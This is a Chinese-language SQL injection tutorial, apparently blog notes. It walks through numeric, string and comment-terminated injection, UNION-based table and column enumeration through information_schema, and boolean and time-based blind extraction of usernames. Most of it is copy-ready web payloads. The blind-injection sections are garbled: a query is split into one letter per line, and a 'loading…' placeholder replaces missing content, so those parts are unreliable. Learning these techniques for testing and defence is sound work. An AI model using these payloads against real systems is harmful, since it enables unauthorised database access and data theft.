sql基本属性
sql漏洞注入的本质
攻击者利用WEB应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令。
sql注入类型
1.数字型
原理:
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
测试步骤:
http://www.example.com/test.php?id=8' 返回异常
http://www.example.com/test.php?id=8 and 1=1 返回正常
http://www.example.com/test.php?id=8 and 1=2 返回异常
http://www.example.com/test.php?id=8 and sleep(3)延时注入
2.字符型
原理:
当输入参数为字符串时,称为字符型。
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
#可编码为%23
当查询内容为字符串时,SQL语句如下:
select * from table where username='admin’
当利用代码时,不能输入admin and 1=1,应该输入admin' and 1=1 -- ,
即语句为
select * from table where username='admin' and 1=1 -- ’
有时我们可能需要两个单引号来平衡原SQL语句,SQL语句如下:
update Person set username='username',set password='password' where id=1
攻击者可以在用户名或者密码位置输入'+(select @@version)+',
即语句变为
update Person set username='username',set password=''+(select @@version)+'' where id=1
3.其他注入
POST注入:注入字段在POST数据中;
Cookie注入:注入字段在Cookie数据中;
延时注入:使用数据库延时特性注入;
内联式注入
SELECT * FROM admin WHERE username='root' AND password =(''or ''=''
构造:root /‘or ‘’=’
终止式注入
SELECT * FROM admin WHER username='' or ''='' --' AND password ='root'
终止字符串:
– , #, %23, %00, /*、–+
终止方法:
– , ‘-- , ‘)-- , ) – , ‘)) --, ))–
mysql常用的函数
信息函数
database():用于获取当前使用的数据库信息
@@datadir:获取数据库的存储位置
version():返回数据库的版本
user():返回当前的用户(等价于current_user参数)
功能函数
load_file():从计算机中载入文件,读取文件中的数据
into_outfile():写入文件,前提是具有写入条件
concat():返回两个参数相连接产生的字符串。如果其中一个参数为NULL,则返回值为NULL。
group_concat():用于合并多条记录中的结果。例子group_concat(id,’-’.name)
concat_ws():用于间隔合并的多条字段。例子:concat_ws(’_’,id,name)
substr():用于截断字符串。用法为:substr(str, pos, length),例(select substr(database(),1,1-----输出database数据库表的第一位))。
ascii():返回字符所对应的ascii码。
length():返回字符串的长度。
if(exp1, exp2, exp3):如果exp1是True,则返回exp2;否则返回exp3。
order by():使用字段名来作为order by的条件外,还可以使用数字。
1表示的第一个字段
2表示的第二个字段
查询回显的原理,如果没有最后一列则提示报错。
联合查询union
理解:
理解:使用UNION 操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据。
限制:
相同的列结构
需要有知道表结构、列结构
语句:
select * from table1 union select * from table2
//如果table1有3列数(id,username,password),table2有2列数(user,pass),则提示报错,仅列数相同时可联合查询
变形1:
select id,username from table1 union select * from table2
变形2:
select group_concat(id,'-',username,'-',password),2 from table union select * from table2
结合exists()函数猜解表名 and exists(select……)
exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。
如果存在即返回上半句的查询结果,如果不存在即返回错误。
联合查询的基础使用
1.测试是否可以使用sql注入Id=1’ or 1=1#
2.测试回显4位输入id=1’ order by 4%23
3.测试1234四位回显位置输入id=-1’ union select 1,2,3,4 %23
4.将database名输入到回显位置2输入id=-1’ union select 1,database(),3,4 %23
5.已知数据库名查询表名输入id=-1’ union SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=
‘database()’ %23
6.已知数据表名查询数据字段名Id=-1’ union SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name=
‘table_name’ %23
7.根据字段名查询对应数据Id=-1’ union select flag,2,3,4 from 表名 %23
mysql盲注
简述:
盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。
盲注分类:
(1)布尔盲注
(2)时间盲注
查询函数:
布尔盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false。
查询语句
SELECT userid FROM member WHERE u_name=
n
a
m
e
A
N
D
u
p
a
s
s
=
name AND u_pass=
nameANDupass=pass;
注入语句
name=-1’ and (select mid(u_name,1,1) from member where userid=1)=‘a’
name=-1’ and (select mid(u_name,2,1) from member where userid=1)=‘d’
name=-1’ and (select mid(u_name,3,1) from member where userid=1)=‘m’
name=-1’ and (select mid(u_name,4,1) from member where userid=1)=‘i’
name=-1’ and (select mid(u_name,5,1) from member where userid=1)=‘n’
以上操作可通过burp抓包,然后字典爆破解答
时间盲注
某些查询是不需要返回结果的,仅判断查询语句是否正确执行即可,,但是由于某些限制,布尔盲注的关键字符带入不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句
SELECT userid FROM member WHERE u_name=
n
a
m
e
A
N
D
u
p
a
s
s
=
name AND u_pass=
nameANDupass=pass;
注入语句
name=-1’ and (select mid(u_name,1,1) from member where userid=1)=‘a’ and (select sleep(3))
name=-1’ and (select mid(u_name,2,1) from member where userid=1)=‘d’ and (select sleep(3))
name=-1’ and (select mid(u_name,3,1) from member where userid=1)=‘m’ and (select sleep(3))
name=-1’ and (select mid(u_name,4,1) from member where userid=1)=‘i’ and (select sleep(3))
name=-1’ and (select mid(u_name,5,1) from member where userid=1)=‘n’ and (select sleep(3))
布尔盲注与时间盲注的if使用形式:
loading…
后续为sql工具的具体使用说明